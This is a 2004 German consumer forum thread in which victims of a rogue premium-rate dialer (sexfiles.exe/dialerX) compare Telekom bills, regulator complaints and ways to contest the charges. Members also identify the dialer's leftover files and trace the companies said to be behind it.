2. Den Erste-Hilfe-Kasten zu Rate nehmen - einfach auf die blaue Schrift links klicken.
3. Hier in der Suchfunktion (oben mittig im Fenster) die Grundinfos des Falls eingeben (Abrechnende Firma, betr. Nummer).
4. Bei den Ergebnissen weiterlesen.
5. Unter Beachtung der Nutzungsbedingungen (NUBs) weitere Fragen etc. hier posten.

cp


----------



## Anonymous (28 Juli 2004)

Lieber Captain Picard,

vielen dank für die rasche Antwort. Ich bin noch ziemlich "aus dem Häuschen" wegen dieser Sache. Zuvor hatte ich noch nie Probleme mit einem Dialer, und ich habe auch noch nie willentlich eine seriösen Dialer in Anspruch genommen. 

Da ich über die Gefahren einen unseriösen Dialer einzufangen, informiert bin, verhalte ich mich beim Surfen im Internet auch immer vorsichtig. Dennoch ist es passiert. 

Bei der Regulierungsbehörde habe ich auch schon angerufen (vor ca. 4 Wochen) und mich über diese Nummer beschwert. Der Herr am Telefon hatte mir bestätigt, dass dieser Anbieter bereits überprüft wird. Aber anscheinend dauert das ....   :evil:  Könnte da eine Taktik dahinter stecken? Schließlich verdient die Telekom auch an diesen Nummern.

Grüße Werner

P.S.


----------



## Anonymous (28 Juli 2004)

Naja, mach dir nix draus, ich hatte 7 Jahre (und das ist meine gesamte Zeit mit dem PC) nie irgendwelche Probleme...nicht einmal Würmer die meinen Rechner lahm legten, aber irgendwann triffts mal jeden...:-((

Aber die RegTP ist eine Behörde und ist nicht wirklich dran interessiert ob die Telekom ein paar Tausend Euro mehr oder weniger verdient. Die sind doch sowas wie die Polizei in allen Belangen der Kommunikation. Im Gegenteil, die sind es doch die der Telekom (und auch anderen) irgendwelche unrealistischen Telefontarife verbieten. Es dauert wahrscheinlich nur solange weil es a) Beamte sind :lol: und b) wir nur "kleine Fische" sind die nicht so wichtig sind und nicht viel Ärger machen...da legen die doch lieber mal ne Kaffeepause mehr ein...


----------



## beco (29 Juli 2004)

*Rechnung über 914,21 € über die Nummern 090090000957 + ..958*

Hallo Forum,

gut das es Euch gibt - denn sonst würde man an Informationen verhungern. Also ich habe mir den Dialer gefangen und habe kein Idee - wo dies passiert sein könnte. Die Verbindungen wurden über 0900/90000957 und 0900/90000958 angewählt. Ich habe 10 Verbindungen a ca. 80 € + Steuer; d.h. ich wurde nach 60 Minuten jeweils automatisch getrennt. Bemerkt hatte ich es zu spät, als ich meine Freenet Verbindung aufgerufen haben, in der immer noch Freenet stand aber darunter sah ich eine 0900 Nummer eingetragen. Verbindung sofort gelöscht und neu eingerichtet - leider zu spät.  

Die 0900 und 0190 Nummern habe ich mittlerweile sperren lassen. Die Telekom beharrt auf die Begleichung und hat den Betrag auch mittlerweile von meinem Konto eingezogen. Die Forderung der Telekom hat nichts mit dem Anbieter zu tun. Alleine weil es über die Leitung der Telekom gelaufen ist, besteht der Anspruch.

Dann habe ich Beschwerde bei der RegTP eingelegt (per Mail). Seit 2 Wochen aber noch keine Antwort. Ich habe dort angerufen - man sagte mir dass ich entweder Beweise liefern soll oder über meinen Anwalt die NewLines AG in Liechtenstein verklagen soll. Das würde dann bis zur Gerichtsentscheidung gehen und könnte sich ein halbes Jahr hinziehen. Er sagte mir auch, dass es viele Anrufe und Beschwerden zu dieser Firma gibt. Aber machen tut niemand was.

Ich wollte die Lastschrift der Telekom wieder wg. Widerspruch zurückgeben. Die RegTP rät aber davon ab, da ich dann einen Eintrag in der SCHUFA habe. Also muss ich erstmal in Vorkasse gehen.

Ich weiß momentan nicht so richtig, wie ich vorgehen soll. Ich habe noch die zwei ICONS auf dem Bildschirm (Dating + XXX). Auch habe ich noch diverse Dateien (z.B. dialerx). Gelöscht habe ich aus Beweisgründen noch nichts.  

Der Dialer hat automatisch die normale Freenet-Verbindungseinwahl 019231770 getrennt und neu unter der o.g. Nummer eingewählt (ohne das irgendeine Aufklärung oder ein OK-Feld kam).

Sollte man auch einen Widerspruch an die NewLines AG in Liechtenstein schriftlich senden oder ist das Zeitverschwendung.

Irgendwie komme ich mir vor wie in einem schlechten Film. Ich habe 1000 € zu zahlen, habe mittlerweile einen Stapel voll Papier aus dem Netz ausgedruckt und Telekom und RegTP reagieren nicht. 

Im Forum war doch mal die Rede von einem Video, in dem die Einwahl und das Überschreiben der Standardeinwahl gefilmt wurde. Liegt dies denn mittlerweile der RegTP vor?

Was ist, wenn nachträglich der NewLines AG die Lizens entzogen wird. Bekomme ich jemals das Geld wieder? Die Telekom hat doch schon den der NewLines AG zustehenden Anteil überwiesen. Und nach Kreuz- und Querbuchungen über 17 Strohmänner ist von dem Geld doch eh nichts mehr übrig.

Evtl. kann mir jemand antworten, was ich tun soll bzw. ob ich weiter abwarten soll - bis die RegTP reagiert.

Danke und Gruß
Marcel


----------



## Anonymous (29 Juli 2004)

@beco

"Ich wollte die Lastschrift der Telekom wieder wg. Widerspruch zurückgeben. Die RegTP rät aber davon ab, da ich dann einen Eintrag in der SCHUFA habe. Also muss ich erstmal in Vorkasse gehen."

Hallo Beco, diese Aussage ist absoluter Schwachsinn!
Eine Lastschriftrückgabe wird nicht bei der SCHUFA gemeldet.
Bei der Schufa können als Negativmerkmale z.B.  nur uneinbringliche Forderungen, die unbestritten bzw. gerichtlich festgestellt sind, 
eingetragen werden. 
Aber niemals Wiedersprüche gegen Lastschriften!

Gruß
Stieglitz


----------



## Reducal (29 Juli 2004)

*Re: Rechnung über 914,21 € über die Nummern 090090000957 + .*



			
				beco schrieb:
			
		

> Was ist, wenn nachträglich der NewLines AG die Lizens entzogen wird. Bekomme ich jemals das Geld wieder?


Eher nein, zumindest nicht von der T-Com - Du müsstest es bei den Lichtensteinern einfordern und das halte ich für unmöglich.


----------



## axel (29 Juli 2004)

> beco:
> Im Forum war doch mal die Rede von einem Video, in dem die Einwahl und das Überschreiben der Standardeinwahl gefilmt wurde. Liegt dies denn mittlerweile der RegTP vor?



Ja. Schon beim RegTP.


----------



## Anonymous (29 Juli 2004)

Im Anhang das, was der Anbieter wohl zu seiner Rechtfertigung vorbringen wird: "Da war doch ein Einwahlfenster...". Weiß jemand, seit wann dieses Fenster dort zu sehen ist?


----------



## sascha (30 Juli 2004)

Das gezeigte Anwahlfenster genügt ohnehin nicht den Anforderungen, weil der User nicht über den Ablauf und die Wirkungsweise aufgeklärt wird. Auch eine Anbieterkennung ist nicht zu finden...


----------



## Qoppa (30 Juli 2004)

@ beco
die Lastschrift solltest Du in jedem Fall zurückgehen lassen (vor allem bei dem hohen Betrag!). Dann muß die Gegenseite sehen, wie sie sich ihr Geld holt. Und das sieht sowieso nicht schlecht für Dich aus, wenn Du noch Beweise hast (unabhängig von der Deregistrierung durch RegTP). Du mußt nur die Nerven haben, diverse Drohschreiben von Seiler zu ignorieren ...


----------



## Anonymous (2 August 2004)

*Reaktion Reg TP*

Ich kann das nicht glauben, dass von Seiten der Reg TP noch keinerlei Aussagen über diese Sache getroffen wurden. Man sollte doch meinen, dass solchen Leuten das Handwerk zu legen ist, ganz besonders wenn so viele betroffen sind, teilweise mit erheblichem finanziellem Schaden. Also hier nochmal der Aufruf, sollte jemand irgendwelche neuen Erkenntnisse bezüglich dieser Sache haben bitte hier melden!

Gruß, ein Geschädigter.


----------



## Reducal (2 August 2004)

*Re: Reaktion Reg TP*



			
				Anonymous schrieb:
			
		

> Man sollte doch meinen, dass solchen Leuten das Handwerk zu legen ist, ...


Welchen Leuten? Suche Dir einen aus:

- Inhaber der Mehrwertnummer
- Mieter der Mehrwertnummer
- Inhalteanbieter
- Registrierungsverpflichteter
- Veratwortlicher, der ggf. einen Missbrauch initiiert
- Forderungsinhaber


----------



## Anonymous (2 August 2004)

Mich würde es nicht wundern, wenn die erwähnte schwedische Dame 85 Jahre alt, taubstumm ist und im Rollstuhl sitzt und noch nicht mal von der Erfindung des Telefons gehört hat... :lol:  :lol:  :lol:


----------



## Aka-Aka (3 August 2004)

*Re: Reaktion Reg TP*



			
				Reducal schrieb:
			
		

> Anonymous schrieb:
> 
> 
> 
> ...


Unglaublich... seit 3 Monaten gibt es hier Beschwerden gegen diesen Dialer einer der größten Anbieterfirmen mit einem Hintergrund, dass unser Kanzler-AD ein Waisenknabe ist und dann passiert wieder nichts. Spricht das für völlige Resignation? Ist es nicht möglich, ein paar Herren der oberen Polizeiriegen (ja, ich sage BKA!) endlich mal einzuspannen, um sich diese Netzwerke anzuschauen? Oder dürfen in Deutschland international operierende Netzwerke weiter Verbraucher schröpfen und der Staat schaut zu? Wie lange dauert es, bis die Münchner Verkehrspolizei den Halter eines schwedischen Fahrzeuges ausfindig macht, der in der Leopoldstraße falsch parkt und wie tatenlos sind die Behörden, wenn es um diese Schweden hier geht? Das stinkt (mir)!

P.S.: @mods Gibt es eigentlich Bestrebungen irgendeiner Art, so was wie eine "Task Force" für Internet zu bilden?


----------



## haudraufundschluss (4 August 2004)

@Jessica:

Es spricht nichts gegen eine Stellungnahme auf der eigenen Seite, über die wir gegebenenfalls berichten können. Anonyme "Stellungnahmen" und Beschuldigungen sind deswegen nicht willkommen hier.


----------



## galdikas (4 August 2004)

gast schrieb:
			
		

> Mich würde es nicht wundern, wenn die erwähnte schwedische Dame 85 Jahre alt, taubstumm ist und im Rollstuhl sitzt und noch nicht mal von der Erfindung des Telefons gehört hat... :lol:  :lol:  :lol:



Du meinst die "Diensteanbieterin" des sexfile.exe-Dialers (0900-90000957, 90000958)?
Sie ist meines Wissens 40 Jahre alt ( ----> ....mehr ) 

gal.


----------



## niegli (5 August 2004)

*Hallo alle zusammen*,

vor kurzem bin auch ich mir gewahr geworden mir einen Dialer (090090000958) eingefangen zu haben.  :x Wie kann ich jetzt am besten Beweise sichern, da ich es natürlich nicht bemerkt habe wie sich das Ding bei mir installierte, noch habe ich dem ganzen zugestimmt.

Habe bereits einen Screenshot meiner umgeschriebenen DFÜ-Verbindung gemacht. Was kann ich noch tun? Und wo kann ich Hinweise auf meinem Rechner zum Dialer finden?

Bin für jeden Rat dankbar.   

Grüße


----------



## TSCoreNinja (5 August 2004)

Schau mal im Verzeichnis von Windows
(c:\windows\ oder c:\winnt )
nach folgenden Dateien:

```
WinXp.txt
mWinXpD.txt
mWinXpD2.txt
mWinXp.txt
mWinXpd.txt
svchost.exe
dialerX.exe
switchagreement.txt
```

Die werden per Exploit installiert. Ausserdem muss ein Eintrag auf die svchost.exe aus der Registry entfernt werden (vorsicht, gibt eine echte Windowsdatei mit gleichem Namen im Folder system32, ggfs. Dateieigenschaften anschauen). Die txt Dateien enthalten dabei anscheinend die Einwahlnummern. 
Mehr dazu im PDF File von mir in diesem Thread
http://forum.computerbetrug.de/viewtopic.php?t=6658

Gr,
TSCN

PS: eventuell mal daran denken, mit dem Rechner zur Polizei wg Anzeige zu gehen, damit Beweise offiziell gesichert werden koennen.


----------



## Reducal (6 August 2004)

@ Jessica,

scheint mir ein neuer Sport zu sein, die Schutzbehauptung aufzustellen, dass ein eigenes Dialeroriginal verfälscht wurde. Wenn Du wirklich die Registrierungsverpflichtete sein solltest, dann veröffentliche doch Deine Erkenntnisse und gib´ den Webmaster bekannt, der für den Fake verantwortlich ist. Du müsstest ja wissen, an wen die erwirtschaftete Anbietervergütung zu zahlen ist. Solange Du diesen Webaster schützt, wird Dir kaum jemand Glauben schenken wollen. Wenn derartige Informationen hier nicht an die Öffentlichkeit getragen werden sollen, dann doch bitte zumindest an die RegTP!


----------



## Anonymous (8 August 2004)

*Dialer besiegt*

Hallo,

hatte mir auch genau diesen Dialer(...58/57) eingefangen, in meinem Fall konnte er ca. 310€ Schaden verursachen. Zunächste habe ich auch dieses scheinheilige Standardschreiben erhalten als ich Einspruch eingelegt habe. Nachdem ich aber bei der Polizei Strafanzeige gestellt habe und das unserer geliebten Telekom schriftlich mitgeteilt , sowie auf den dubiosen Hintergrund dieses Dialer verwiessen habe, bekam ich einen Anruf der Telekom, in dem sich mit zittriger und nervöser Stimme entschuldigt wurde es hätte sich in den letzten Tagen etwas Neues (klar :roll  ergeben, und man müsse die Rechnung selbst verständlich nicht bezahlen, ausserdem werden sämtlich Nebenkosten übernommen. Ich hoffe es ergeht den anderen Geschädigten auch so   

mfg
Granni


----------



## Anonymous (8 August 2004)

Na, das klingt doch erstmal hoffnungsvoll. Ich hab zwar (noch) keine Anzeige gemacht (bei 45 Euro ist der Streitwert ja nicht ganz so hoch), aber das macht doch Mut. Hat schon irgendwer was von einem Inkassobüro bekommen? Das würde mich wirklich interessieren, weil das ja eigentlich der "übliche" Weg ist.


----------



## Anonymous (9 August 2004)

Habe soeben mit der Kriminalpolizei telefoniert, die meinten, dass die Telekom  grad alle Rechnungen für diesen Dialer auf Kulanz für nichtig erklärt, weil eben wegen diesen Dialer ermittelt wird, und die ganz genau wissen was das für ein dubiosen Mistding ist.

mfg
Granni


----------



## DJohnny79 (9 August 2004)

Hallo Leute;

Habe das selbe Problem mit der 090090000957;
Das ist jetzt allerdings schon 2 Monate her und ich habe kurz nach (oder vllt auch wegen) diesem Dialer mein System komplett neu aufstezen müssen, die chancen noch irgendwelche Spuren zu finden sind also leider recht gering;
Wenn ich allerdings den letzten Beitrag lese kommen mir doch Zweifel an der rechtmässigkeit der Rechnung.

Könntet Ihr mich bitte über die neuesten Entwicklungen auf dem laufenden halten? Und wie verhalte ich mich am sinnvollsten? Der erste Widerspruch gegen die rechnung wurde von Seiten der DTAG abgelehnt? 

Wer selber betroffen ist oder mir helfen kann möge sich bitte bei mir melden(PM oder E-Mail oder Hier im Forum)

Gruß

DJohnny79


----------



## Reducal (9 August 2004)

Granni schrieb:
			
		

> Habe soeben mit der Kriminalpolizei telefoniert, die meinten, dass die Telekom  grad alle Rechnungen für diesen Dialer auf Kulanz für nichtig erklärt, weil eben wegen diesen Dialer ermittelt wird, und die ganz genau wissen was das für ein dubiosen Mistding ist.
> 
> mfg
> Granni


Diese Information dürfte so nicht richtig sein. Ermittelt wird bestimmt gegen eine Vielzahl von vermeintlichen Missbrauchsfällen. Die T-Com hat sich dadurch noch nie ernsthaft beeinflussen und von der Durchführung des Forderungsmanagements abhalten lassen. Allerdings scheint an dieser Meldung, bzgl. dem Aussetzen der Forderungseintreibung, wirklich was dran zu sein. Ich habe nun schon mehrere Hinweise dieser Art erhalten.


----------



## Anonymous (9 August 2004)

@ Granni,
das wäre ja ein Ding, wenn die Telekom die Beträge zurückweist. Bei mir sind es immerhin über 91 Euro (Rechnung vom Juli). 

Auf meine Beschwerde bei der Telekom zur Rechnung habe ich nur eine allgemeine Belehrung erhalten. Meinen Widerspruch hierzu mit ausführlicher Begrüngung (einschließlich Hinweis auf dieses Forum) wurde allerdings bisher nicht beantwortet (weil ich beim 2. Brief kein Einschreiben gemacht habe?).

Was mich besonders ärgert, die RegTP reagiert überhaupt nicht, obwohl ich bereits Ende Juni telefonisch auf diesen Dialer und dessen Unseriösität (Ungesetzlichkeit) hingewiesen habe, und ich gesagt bekommen habe, dass dieser Anbieter überprüft wird. Eine Antwort auf mein eMail Ende Juli wurde auch nicht beantwortet. 

Wie lange brachen die bei der RegTP denn, um einen Dialer zu prüfen?????

Halte uns bitte auf dem Laufenden.

Gruß
Werner


----------



## Anonymous (9 August 2004)

Werner/Gast schrieb:
			
		

> Was mich besonders ärgert, die RegTP reagiert überhaupt nicht...


Eben doch, dass dürfte nämlich seinen Niederschlag in der Regation der T-Com gefunden haben. Zwischen RegTP und T-Com gibt es definitiv einen "kurzen" Dienstweg.


			
				Werner/Gast schrieb:
			
		

> Wie lange brachen die bei der RegTP denn, um einen Dialer zu prüfen?


Die können "den Dialer" nicht prüfen, da offensichtlich das Orginal, dass bei der RegTP registriert ist, anders funktioniert, als das, was für die schädigende Einwahl verantwortlich war. Die Reaktionen der RegTP richten sich unter anderem an der Anzahl der Beschwerden und deren Inhalt - da hast Du ja auch schon was dazu getan. Und was die Beschwerden per E-Mail betrifft, so werden die (leider) nicht ganz so zuvorkommend bearbeitet, wie die, welche per Briefpost eingehen. Telefonische Beschwerden sind dagegen noch mieser gestellt.


----------



## Anonymous (9 August 2004)

Schätze das mindeste was man tun muss, ist eine Stafeanzeige gegen diesen Dialer zu stellen und es der telekom mitteilen, gewissermassen Druck ausüben. Ohne Polizei gehts anscheinend nicht.

Zum oberen Post: Der Kommissar den ich ander Strippe hat ganz speziell nur von dieser Mehrwertnummer bzw. Dialer gesprochen (sexfile und dialerX)


----------



## Anonymous (9 August 2004)

*Re: habe schon Beschwerde eingelegt*

[Hallo ulle,
habe bei Telekom reklamiert und das Geld zurückbekommen, da der Dialer eben doch nicht seriös war. Sie haben ihn nun gesperrt. Also Brief an Telekom nochmals, es wird akzeptiert.


----------



## Reducal (9 August 2004)

*Re: habe schon Beschwerde eingelegt*



			
				monica schrieb:
			
		

> ...habe bei Telekom reklamiert und das Geld zurückbekommen, da der Dialer eben doch nicht seriös war. Sie haben ihn nun gesperrt. Also Brief an Telekom nochmals, es wird akzeptiert.


Ist nun definitiv, die T-Com hat die Nummern wohl gesperrt (den Dialer geht nicht!) Auf Widerspruch der geschädigten Endkunden wird der strittige Betrag (bundesweit) ausgebucht, die Forderung gilt damit als erledigt.

@ Jessica, was sagst Du denn nun dazu?  8)


----------



## galdikas (9 August 2004)

galdikas schrieb:
			
		

> technofreak schrieb:
> 
> 
> 
> ...



Den von Jessica geführten Unternehmen, die schwedische *Svenska Let To Phone AB*  und die englische Briefkastenfirma *Harrys Expo Limited*) gehör(t)en eine Reihe von Domains, wie etwa die sexfiles.nu, nymfomanen.nu, telesvar.nu, sms-kul usw. Die Svenska Let To Phone AB trat an die Stelle der inzwischen in Konkurs gegangenen *Trom Srom Brom AB (TSB)*. Svenska Let To Phone AB  ist auch Inhaberin der *Persolvo Inkasso AB*, Lundavägen 56, Malmö. Außerdem war die (inzwischen in Konkurs gegangene) *IBC Sweden AB* unter folgender Adresse, und mit folgender Domain im Dialer-Geschäft aktiv gewesen:

*IBC Sweden AB*
Lundavägen 56 K
212 25 Malmoe
Tel: + 46 40 93 08 64
Fax: + 46 40 93 38 67
Info & Sales:
[email protected]
Support:
[email protected]
Customer Service:
[email protected]

( Quelle: archive.org )

Interessanterweise wird diese eMail-Adresse hier als die Kontaktadresse des Verantwortlichen für die Inhalte unter der Domain xxxcats.com angegeben:


			
				Alexa.com schrieb:
			
		

> *Scandinavian Publishing Group A/S*
> Borgergade 6 Copenhagen, 1300SWEDEN [ es muß selbstverständlich DANMARK lauten ]
> 08 52038022
> [email protected]



Wenn man sich nun fragt, wer eigentlich die ganzen (Sex-)Inhalte unter den von Svenska Let To Phone AB ( TROM BROM SROM AB) betriebenen Domains wie sexfiles.nu liefert, die per Dialer (in Schweden: Date Regon-Dialer, hier: sexfiles.exe/dialerX.exe) abgerechnet werden sollen, dann dürfte das wohl *Tre Mag AB*, Schweden sein ( ---> http://www.tre-mag.se/ )

Die TRE MAG AB gehört zur *Scandinavian Publishing Group A/S*, Kopenhagen ( ehemaliger Name: *TRÆFF FORLAG A/S* )  Und eine *TRÆFF HOLDING DANMARK A/S* gehört wiederum zum *Bokförlaget Träff-Sweden AB*  (bft):







Was in Deutschland Beate Uhse (gewesen) ist, das stellt in Skandinavien der König dieses Imperiums, der Norweger  ****  dar, der es im schwedischen Exil unter die 150 reichsten Schweden (ca. 100.000.000 Millionen) gebracht hat ( --->  Aftenposten: Porno-***** ) Er ist Herausgeber von Porno-Zeitschriften in Norwegen, Schweden, Dänemark, Polen, Tschechien.

Gjør comeback som forretningsmann i Norge
DET ER LUKET I PORNO-*****  
http://www.vimenn.com/?article_id=11810

Wieder in Norwegen
http://www.aftenposten.no/nyheter/iriks/oslo/article269375.ece

gal.

_ Namen entfernt wg. NUB.  DJ/Mod._


----------



## Anonymous (10 August 2004)

*09090000960 ???*

Hallo Forum,

vor einigen Tagen hat hier ein User gemeldet, er habe Probleme mit einem Dialer, der die Nummer 090090000960 über alle DFÜ-Verbindungen schreibt. Das Ding gehört auch zur sexfiles-liga und ist bei regtp ebenfalls auf J. M. gemeldet. Allerdings handelt es sich hier um eine neuere Version des Dialers mit anderem Hashwert etc. 
Auszug aus der Datenbank:

Reg.-Nr.: 90090000960-1357275 vom : Apr 16 2004 4:29PM 
Adressierungsmerkmal : 
Hash - Wert :45668C5E60F7F95AE3CE08B187CE6434C6E07DFA 
Dateiname : sexfiles.exe 
Dialer - Version : 3.0.0.22 
Inhalteanbieter : ******* 

Ladungsfähige Adresse des Registrierungsverpflichteten: 
Newlines AG, ..., LIECHTENSTEIN 

Adresse des Vertretungsberechtigten: 
Herr *****, ... , LIECHTENSTEIN 


Gilt das Agreement zwischen Telekomm und Geschädigten, von dem hier nun schon ein paar mal die Rede war auch für diesen Fall?

MfG
Bodo


_ Namen entfernt wg. NUB.  DJ/Mod._


----------



## DJohnny79 (10 August 2004)

Newlines Media A.G. und die Liechtensteiner Adresse kommen mir irgendwie genau so bekannt vor wie die "allgemeine Belehrung", dass ich als User doch eigentlich alles Schuld bin...

Hat mal jemand nen Weg gefunden wie mit der ganzen Sache umzugehen ist?

MfG
DJ


----------



## galdikas (10 August 2004)

galdikas schrieb:
			
		

> Was in Deutschland ...... (gewesen) ist, das stellt in Skandinavien der König dieses Imperiums, der Norweger  ****  dar, der es im schwedischen Exil unter die 150 reichsten Schweden (ca. 100.000.000 Millionen) gebracht hat ( --->  Aftenposten: Porno-***** )
> 
> _ Namen entfernt wg. NUB.  DJ/Mod._



_Die Wiedergabe persönlicher Daten ist nur mit ausdrücklicher Genehmigung der betreffenden Person erlaubt._

Die Nennung von ......  und  ...... geschieht in völliger Übereinstimmung mit der Abmachung, mit ausdrücklicher Genehmigung der betreffenden Personen zu deren Bezeichnung ihren Namen zu benutzen.

gal.

_editiert _


----------



## technofreak (10 August 2004)

galdikas schrieb:
			
		

> Die Nennung von .... und  ...... geschieht in völliger Übereinstimmung mit der Abmachung, mit ausdrücklicher Genehmigung der betreffenden Personen zu deren Bezeichnung ihren Namen zu benutzen.
> 
> gal.



wo steht das?  ohne die genaue Angabe der Quelle mit Zitat und persönlicher Authorisierung an den Betreiber  wird
hier kein Name genannt .

tf


----------



## Reducal (10 August 2004)

DJohnny79 schrieb:
			
		

> Hat mal jemand nen Weg gefunden wie mit der ganzen Sache umzugehen ist?


Widerspruch gegen die einzelne Rechnungsposition bei der T-Com führt seit neuestem zur Entlastung - den Widersprüchen wird statt gegeben!


----------



## Anonymous (10 August 2004)

*nichts ist definitiv! Von wegen Telekommkulanz*

Hallo Leute, 

eure Durchalteparolen hier in allen Ehren - aber dass die Telekomm "definitiv" die Forderungen des "sexfiles.exe"-Betreibers abweist und den Endkunden damit entlastet halte ich für ein Gerücht.

Noch einige Vorbemerkungen:

Wie ich befürchtet habe, bin ich auch selbst von dem Ding "befallen" worden. Obwohl mir mein Smartsurfer soweit ich mich erinnern erst nach Beendigung der Verbindung und vor der nächsten Einwahl gemeldet hat, dass da was nicht stimmt, bin ich nicht sicher, ob ich nicht vielleicht doch vorher schon mit dem Ding drinnen war - der hat sämtliche DFÜ-Tel-Nr. überschrieben und ausserdem eine Verbindung names "0" angelegt.
All das habe ich aus Doofheit natürlich fein säuberlich gelöscht, weil ich mit dem Internet arbeiten muss. Nach dem Neustart war es lustiger Weise wieder da und ich habs nochmal - diesmal mit YAW - entfernt. Aua.
Das einzige was noch da ist ist eine Textdatei names "switchagreement.txt" in der die Betreiber lustigerweise daraufhinweisen, dass man selbst verantwortlich ist, wenn was mit den DFÜ-Verbindungen nicht stimmt. Die habe ich isoliert, aber die wird mir wohl nichts mehr bringen...

Soviel zur Vorrede. Ich habe nun bei der Telekomm angerufen (Servicehotline für Rechnungsfragen) und dort äusserst diffusse Angaben zum Umgang mit Dialern erhalten - ein Mitarbeiter nannte einen Dialer bei dem aus Kulanz die Rechnungen storniert werden - aber es handelte sich hierbei nicht um dialerx oder sexfiles.exe
Ein anderer (ich rief später noch mal an) sagte, es würden nur Forderungen bei Dialern aufgehoben die regtp nicht in der Datenbank hat ...
sämtliche sexfiles.exe (57,58,59,60) sind dort aber registriert!

Ich möchte deshalb mal wissen, auf Grundlage welcher Informationen ihr hier Optimismus versprüht.

Dann noch eine Frage:
Der erste Telekomm-Mitarbeiter meinte, es würde automatisch immer (bei allen Standardanschlüssen) ein Rechnungsvergleich vorgenommen und der Kunde bei "ungewöhnlich hohen" Beträgen sofort - d.h. telefonisch -
benachrichtigt sowie eine prophylaktische Sperrung vorgenommen..
Genaue Auskunft hierzu konnte aber interessanterweise nicht gegeben werden. 

Der zweite Kollege bestätigte das zum Teil, meinte aber es würde erst nach einiger Zeit postalisch benachrichtigt - die von der Telekomm tolerierte Rechnungshöhe könne dabei ein vielfaches des Normalen betragen...

Was ist denn nun? %-(


Soweit es die "Kulanz" der Telekomm betrifft, halte ich die Ausführungen in euren Beiträgen oben für nicht hinreichend stichhaltig. Bitte überzeugt mich gern vom Gegenteil. Warum macht die Regulierungsbehörde nichts?
Die Sache läuft, wenn man das Forum hier mal nachliest doch schon fast zwei Monate. Scheisse ist das!!

Grüsse
Bodo


----------



## galdikas (10 August 2004)

technofreak schrieb:
			
		

> galdikas schrieb:
> 
> 
> 
> ...



Hier: http://forum.computerbetrug.de/rules.php
_Die Wiedergabe persönlicher Daten ist nur mit ausdrücklicher Genehmigung der betreffenden Person erlaubt._

Die Verbreitung der meinen Beitrag enthaltenden Webseiten ist selbstverständlich von vorneherein zulässig und bedarf nicht erst einer Zustimmung der darin benannten Personen. Aus diesem Grund entspricht die Namensnennung hinsichtlich der Genehmigungsbedürftigkeit auch der Vereinbarung.



			
				technofreak schrieb:
			
		

> ohne die genaue Angabe der Quelle mit Zitat und persönlicher Authorisierung an den Betreiber  wird hier kein Name genannt.



Die Forenbetreiber dürfen sich frei dagegen entscheiden, von Dritten gestaltete Inhalte über ihre Server verbreiten zu wollen, die weder genehmigungsbedürftig sind, noch unerlaubt verfaßt wurden. 

Übrigens kann ein Autor denknotwendig nur dazu autorisieren, wovon er berechtigt ist, jeden Dritten ausschließen zu können. Er kann z.B. seinen Gefallen daran verkünden, wenn seine Darbietung Gesprächsstoff für anschließende Unterhaltungen liefert, ohne daß dies als erteilte "Autorisierung" zu verstehen wäre, Nachbetrachtungen anzustellen zu dürfen. Er wird auch nicht dazu "autorisieren" können,  sich sein Werk (und seinen Titel)  zu merken und wiederzuerkennen, in welchem Zusammenhang das auch immer sein mag.

 gal.


----------



## Reducal (10 August 2004)

*Re: nichts ist definitiv! Von wegen Telekommkulanz*



			
				Bimbo schrieb:
			
		

> ... halte ich für ein Gerücht.





			
				Bimbo schrieb:
			
		

> sämtliche sexfiles.exe (57,58,59,60) sind dort aber registriert!


Und an jedem Gerücht ist was Wahres dran. Das Storno der T-Com greift bislang jedoch nur bei den Nummern *57, *58. Die *60 ist evtl. noch offen und die *59 war (soweit ich das in Erinnerung habe) nicht vergeben.



			
				Bimbo schrieb:
			
		

> Ich möchte deshalb mal wissen, auf Grundlage welcher Informationen ihr hier Optimismus versprüht.


Vielleicht weil einige Informationen den Verbraucher (oder deren Vertreter) schneller erreichen, als andere. Oder weil womöglich manche hier mehr Interesse an der Problembewältigung mit strittigen Dialerabrechnungen haben, als die jenigen, die lediglich um ihre eigene Schadenbegrenzung bemüht sind.



			
				Bimbo schrieb:
			
		

> ... Der erste Telekomm-Mitarbeiter meinte, es würde automatisch immer (bei allen Standardanschlüssen) ein Rechnungsvergleich vorgenommen und der Kunde bei "ungewöhnlich hohen" Beträgen sofort - d.h. telefonisch -
> benachrichtigt sowie eine prophylaktische Sperrung vorgenommen..
> Genaue Auskunft hierzu konnte aber interessanterweise nicht gegeben werden.


Die T-Com hat seit einigen Monaten eine s. g. Mißbrauchserkennung für 0900/0190er Einwahlen installiert. Das betrifft alle Kunden und sie greift ab etwa 250 €. Vorausgesetzt, der statistische Wert der üblichen Mehrwert-Einwahlen ist sehr gering. Das örtlich zuständige Backoffice setzt sich dann in geeigneter Weise mit dem Kunden in Verbindung und versucht das Problem zu klären - telefonisch oder schriftlich, das bleibt den Sachbearbeitern überlassen. Bis zur Klärung ist der Anschluss jedenfalls erstmal für den Gebrauch von 0900/0190er Nummern automatisch gesperrt, die Aufhebung der Sperre kann der Kunde nur schriftlich erreichen (wenn er das wirklich will).



			
				Bimbo schrieb:
			
		

> ... Genaue Auskunft hierzu konnte aber interessanterweise nicht gegeben werden.


Nun, die einen arbeiten gut, andere aber besser. Nicht jede Arbeitsanweisung wird in bei jedem einzelnen Mitarbeiter in wünschenswert, gleich hoher Qualität ggü. dem Endkunden umgesetzt.



			
				Bimbo schrieb:
			
		

> ...Soweit es die "Kulanz" der Telekomm betrifft, halte ich die Ausführungen in euren Beiträgen oben für nicht hinreichend stichhaltig. Bitte überzeugt mich gern vom Gegenteil. Warum macht die Regulierungsbehörde nichts?


Das ist keine Kulanz sondern die Notbremse durch die RegTP, die von der T-Com auf Weisung der zuständigen Behörde umgesetzt wird.

@ Bimbo, wieso sollen wir Dich hier überzeugen? Das ist ein offenes Forum, in dem jeder posten kann, was er will (gem. NUB) und andererseits jeder lesen, glauben und verstehen kann, was er will - dieses Forum und seine Aussagen sind nicht rechtsverbindlich. Suche Dir ein anderes mit besseren Erklärungen, und berichte uns das, falls Du eines gefunden haben solltest.
Aber eines kann ich mit gutem Gewissen gestehen: wenn es diese angezettelte Stornierung tatsächlich geben sollte, dann ist dieses Forum hier und einige von seinen Mitgliedern nicht gerade unbeteiligt daran, dass sich das Blatt für die Geschädigten dann doch noch zum Guten gewendet hat.



			
				Bimbo schrieb:
			
		

> ... Scheisse ist das!!


Du sagst es, doch manche rühren drin rum!


----------



## Anonymous (10 August 2004)

Hallo nochmal,

